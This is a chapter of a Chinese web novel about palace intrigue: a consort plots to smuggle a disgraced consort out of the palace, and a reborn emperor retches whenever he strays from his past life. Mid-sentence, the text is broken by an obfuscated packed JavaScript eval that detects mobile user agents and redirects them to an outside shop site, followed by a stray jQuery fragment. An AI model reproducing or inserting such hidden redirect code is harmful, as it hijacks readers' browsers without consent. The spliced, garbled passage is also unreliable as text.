储秀宫正殿,烛火高燃,不见半分歇息的迹象。
“怎么,本宫交代你办的事如何了?”
赵三财刚潜入储秀宫正殿,轻轻撬开花窗缝隙,便听见屋内苏婉不咸不淡地问了一句。
来得正巧,可得让他好好听听苏嫔究竟意欲何为!赵三财内心不屑嗤笑,这后宫在先皇后的铁腕下,平静已二十年有余,都差点叫他忘了,这地方最是人心险恶。这不?平静这么多年,终于来了个作妖之人。
殿内,福临鼻青脸肿地趴在地上神志不清,福全惶恐跪下请罪。
“请娘娘责罚,奴才办事不利,未能成功。”
上首的苏嫔显然很不满意,丝毫没预料到自己天衣无缝地计划竟然败在了这最后一步。
“这点小事都办不好,本宫将你们兄弟俩养在身边,真是浪费。”
“娘娘息怒。”福全把头低得更低,“奴才没想到那废妃姜氏竟会武功,奴才和弟弟没防备,被她偷袭了。”
福全没有丝毫隐瞒,一五一十地将所发生的事全盘告诉了苏嫔。
“啪——!”
苏嫔手中的茶碗差点没拿稳,激动起身,“你说什么!这竟是阿钧打的?她人竟回冷宫了?”
福全不明白主子为何突然激动,老实回答,“是,奴才藏证据之时,恰被姜贵人撞了个正着。”
“怎么会呢……”
恰在此时,大宫女流月跌跌撞撞推门跑进来,“娘娘不好了,去福宁宫的人……都没了!”
“你说什么!”
再也维持不住方才的淡定,苏婉不可置信地发现,自己的偷人计划,竟是全盘皆输!
苏婉揉了揉眉心,挥手打发正殿的其他下人,流月还贴心地遣了两个洒扫太监将不省人事的福临丢了出去。
“娘娘,接下来可怎么办?”流月心事重重,“奴婢多方打听,福宁宫走水已交金吾卫彻查,恐怕会查到咱们头上。”
“是啊,娘娘计划本天衣无缝,可那姜贵人全须全尾地出来,如今再难找机会嫁祸。”
“唉……”苏嫔显然更惋惜失去这个机会,连连叹气,“失了这机会,往后再就难了。”
福全同样为此娘娘大计失败自责惋惜,“更何况,现在还有棘手的事。奴才担心姜贵人将方才撞见之事禀报给陛下,到时候影响娘娘圣宠,就得不偿失了。”
殿内落针可闻,隐匿在角落悄无声息地赵三财眸色渐深,逐渐起了杀心。真是会咬人的狗不叫,没想到这平日里最是温婉的苏嫔竟是如此蛇蝎心肠。
片刻间,赵三财已经开始盘算着让这位专心宫斗的苏嫔娘娘如何体面去世了。
而苏嫔瞧着担心自己失宠的福全,淡淡开口。
“这倒是无妨,失宠便失宠了。”
“啊?”
福全还没反应过来,一旁的流月继续加码,“娘娘如今往好处想,若是此事东窗事发将咱们发配到冷宫去,您反而离姜贵人更近了。”
福全觉得自己幻听了,不可置信地又问了一句,“娘娘,咱们不是在……宫斗吗?”
“斗什么斗!”流月看傻子般瞪了福全一眼,将他挤到一边,“娘娘这出狸猫换太子,是帮姜贵人诈死出宫去!”
福全:???
赵三财:???
简直是震撼首发!角落里的赵三财现在像个宫斗新兵蛋子。这苏嫔宫斗有逻辑吗?
福全三观重塑中,呆滞不发一言。然而快速调整好心态的苏嫔继续加码,“无事,方才福全也说了阿钧还有力气出手打人,想必心情尚可,我们还有机会另想办法。”
“好了,你今夜也累了,先去休息吧,其他的事容本宫再想想。”
福全离开正殿仍然精神恍惚,难道自己跟错了人?
话本子里,像自己这样的小太监,拿到的剧本不是……出身卑微受人欺凌,然后被贵人所救,从此跟随主子在后宫大杀四方,最后主子成为宫斗冠军,自己成为赵公公那样呼风唤雨的大太监吗?
……
而殿内,谈话仍在继续。
虽然已经跟不上苏嫔的脑回路,但赵三财仍然兢兢业业地听着墙角。
“唉……流月,你说他可还好?”
“姜少爷吉人天相,刑部都抓不到,绝对不会有事的。”
“我自然知道,如今姜家获罪,要是只他一人在外逍遥自在便罢了,可他们兄妹情深,万一他死钻牛角尖偏要回来救妹妹,可如何是好?”
“娘娘放心,今夜计划不成,定还有机会,姜贵人身在冷宫,肯定还有法子将人偷出宫!”
“得尽快,免得夜长梦多,还有什么法子呢?”
“奴婢觉得,近几日还是按兵不动的好。”流月不赞成苏婉继续行动,“福全说的不无道理,先想法子将金吾卫的检查糊弄过去,再想办法。”
“嗯……流月,你说中秋宫宴如何?。”
“好主意,宫宴人多眼杂,是个机会!娘娘圣明。”
……
主仆二人畅聊至天明,赵三财听得头疼欲裂。可算是熬到苏婉就寝,他轻手轻脚顺着花窗缝隙,悄悄离开。
深深打了个哈欠,虽然只一晚,赵三财已然愁得苍老了很多。
还是太小看苏嫔了,此女的胆子不是一般地大!
可现在问题来了,如何跟陛下回禀呢?是告诉陛下‘您的嫔妃为了您的臣子要偷您的另一个嫔妃出宫?’还是直白点说‘您被戴绿帽子了?’
不行不行,这肯定会把陛下气昏过去的!这工作太难干了!怪不得林统领百般推脱!
赵三财站在墙头,望着泛白的天边,心中无声呐喊——
这储秀宫的人都有病!
*
一宿没睡的还有宣政殿的严铮。
打发走林彻,安排好赵三财后,刚重生的严铮并不能安心睡下。
重生不到半日,他便知道了福宁宫纵火案中疑点重重,前世忽略了诸多细节。难道这是列祖列宗嫌弃他这个接班人太过拉垮评价过低,想办法叫他重新当皇帝?
多少有点……五味杂陈了。
算了算了,既来之则安之,反正已经有三年皇帝经验,这回应该不会比上次差吧?
严铮稍稍闭眼回想,前世桩桩件件的麻烦事近在眼前,而自己重来一回,照样是毫无头绪。
接下来可如何是好?是先给姜禄平反还是先派人支援西南剿匪?
一想就头疼,完全理不出头绪,严铮心中暗叹:他果然不是当皇帝的料。
严铮既无雄才大略,又无天纵英明,之所以能稳稳登基,完全是因为——先帝就他一个亲生儿子。
但所幸,严铮有个难得的优点,便是坚信勤能补拙。
前世,弄不明白朝堂,他就整宿钻研前朝皇帝本纪,力图模仿明君三成。
前世,打不明白北伐,他就亲自下军营跟将士学习,努力模仿将军三成。
虽然最后啥都没干成,但是一点苦没少吃,一点好结果没拿到。
……
现在又来一遍,闭卷改开卷,他仍然不知从哪里下手。算了,理不清头绪,那边先全部写下来,一条一条看。
说干就干,严铮奋笔疾书到半夜,将自己回忆中登基时要面对的云波诡谲全部写在了一个小册子上。
还是先给姜禄平反吧,这事比较着急些!
严铮嘴中默念“姜禄”的名字,心中构思着计划。
“等荀攸抓住了,快些重审此案,给姜禄平……呕——!”
熟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960541|214331||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
悉的反胃想吐冲击严铮快要透支的身体,他捂着胸口,又干呕了几下。
差点把这干呕忘了!自己重生不过半日,一个劲儿恶心想吐算怎么回事?重生后遗症吗?再这样吐下去谁能受得住!
而这呕吐来得快去得也快,根本没有任何规律可言。难道以后便要时不时这样?不行不行,这也太有损皇家威严了。
仔细回想自己几次呕吐不止的场景,救太妃、审姜氏、抓苏嫔……都是之前不曾有的。
严铮隐隐约约有了个猜想,自己这重生,不能说违背前世的话。
可是自己前世同样没与恒之一同去冷宫听墙角啊?为何这就没事?
完全摸不着头脑,严铮决定采用穷举法。既然不知道说那句话会触发这倒霉的反应,那就都试试?
就这样,赶在天微微擦亮之际,他终于绞尽脑汁,结合前世记忆,把自己会说的话,会下的口谕全部写在了纸上。
丝毫没有睡意,严铮打算严肃执行,拿起写好的纸,清了清嗓子,开始朗诵。
“裴寂怀,运河贪墨案,你着人重审。”
无事。
“杜太医,太妃惊吓过度,你再给开一副……呕——!”
太妃治病不能说。
“林彻,彻查福宁宫大火,所有可疑之人全部抓去地牢。”
无事。
“姜禄,中秋之前,若你拿不出证据,朕也救不……呕——!”
姜禄审问不能说。
“赵三财,中秋宫宴一切从简。”
无事。
“乐贵人秽乱宫闱,幽居冷……呕——!”
乐贵人宫宴偷人不能说。
……
严峥挨个试了两页,毫无逻辑可言,无法,只能用朱笔将“不可说”批注出来,心中不免哀叹,虽法子笨了些,但至少有用。
而门外,刚从储秀宫磨蹭回来,还没打好腹稿的赵三财,越听心越凉。陛下这是在口出什么狂言呢?重审贪墨案?处刑姜禄?乐贵人秽乱后宫?不是苏嫔吗?这都哪跟哪儿啊!
等一下!自己也是才知晓,那陛下怎么会知道呢!除非——忽然意识到问题严重性的赵三财背后浸出一身冷汗。
他自严峥还是太子之时便随侍左右,新帝登基以来更是形影不离伺候,自认是陛下最亲近的奴才。
当然他也不负所托,手握前朝后宫情报网,24小时为陛下提供一手消息。
可现在,陛下竟然有其他获取消息的渠道了?自己为何就失去圣心了?这难道就是伴君如伴虎吗?
赵三财完全无法接受这样的落差,在门外心急如焚,一个没注意左脚踩右脚,身体失稳撞开宣政殿侧门滚了进去。
“苏嫔,中秋宫宴便……嗝——”严峥正聚精会神尝试,被破门而入的赵三财吓了一跳,开始不受控制打嗝,“赵三财?你、嗝——你成何体统,嗝——要吓死朕吗?”
赵三财望着上首之人,语带悲切,“陛下,老奴多年鞠躬尽瘁忠心耿耿……”
“滚。”严峥头也没抬,“朕知道你的忠心下次别天天说,朕都听烦了!”略有无语但毫无嫌弃。
听着严峥熟悉的语气,赵三财悄悄攥紧拳头,安下心来。陛下还是信任自己的。既如此,今夜之事可千万不能污了陛下耳朵,让他悄悄处理吧!
赵三财打定主意私下解决苏嫔之事,严峥也想起赵三财整晚去做了什么,顶着俩黑眼圈问道,“苏嫔那里怎么样了?”
“无甚异常。”
“啊?”不愧是前世弑君之人,心里素质就是不一样。
严峥也没多想,摆摆手让赵三财出去,“别跪着了,去给朕沏壶热茶来,渴死了。”
然后继续拿起朱笔,翻看整理小册子去了。